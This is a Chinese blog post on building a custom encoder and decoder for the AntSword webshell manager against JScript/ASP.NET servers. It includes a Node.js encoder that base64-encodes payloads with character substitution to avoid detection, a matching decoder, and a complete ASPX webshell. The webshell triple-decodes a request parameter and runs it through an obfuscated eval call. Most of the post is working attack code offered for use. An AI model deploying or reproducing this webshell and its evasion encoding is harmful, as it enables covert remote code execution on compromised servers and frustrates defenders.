AntSword编码器与解码器-Jscript

前言

Jscript就比较惨了,不像世界上最好的语言一样好写,默认的编码器跟PHP一样会暴露,还没有解码器。

而且Jscript并没有PHP那样的 ob_get_contents(),ob_end_clean(),ob_start()可以把输出缓存然后统一处理,Jscript的Response.Write是及时响应,类似于Chatgpt那样一个字一个字打出来,并不是一段返回。

于是直接借鉴大佬修改过的源码,把输出拼接后统一处理:
https://www.anquanke.com/post/id/244810https://github.com/youncyb/AS_ASPX_AES_ENCODE

借鉴了什么呢?只用替换一下Aspx的源码即可,编码器与解码器还是自己写(就是不想用AES)。

编码器

//
// aspx::base64 编码模块
//
// :把除了密码的其他参数都base64编码一次
//

'use strict';

module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  data[pwd] = data[pwd].replace(/W/g, 'HelloAspx');
  delete data['_'];
  return data;
}

解码器

'use strict';
module.exports = {
  asoutput: () => {
    return `
    function asenc(rawstr){
      var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
      return System.Convert.ToBase64String(utf8.GetBytes(rawstr));
      };
    `.replace(/\n\s+/g, '');
  },
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

WebShell

<%@Page Language="Jscript"%>
<% 
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
var b642b = System.Convert.FromBase64String;
var req = Request.Item['c'];
req = req.Replace('HelloAspx', 'W');
var a = utf8.GetString(b642b(utf8.GetString(b642b(utf8.GetString(b642b(req))))));
var QGBR='TFaqSQkIwXhluVspmztrDBEJKHfGenZWvMygRNOPLoiUxCdjYcbA';
var ERIZ=QGBR(12) + QGBR(29) + QGBR(4) + QGBR(2) + QGBR(1) + QGBR(22);

\u0065\u0076\u0061\u006c(a, ERIZ);
%>

效果

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇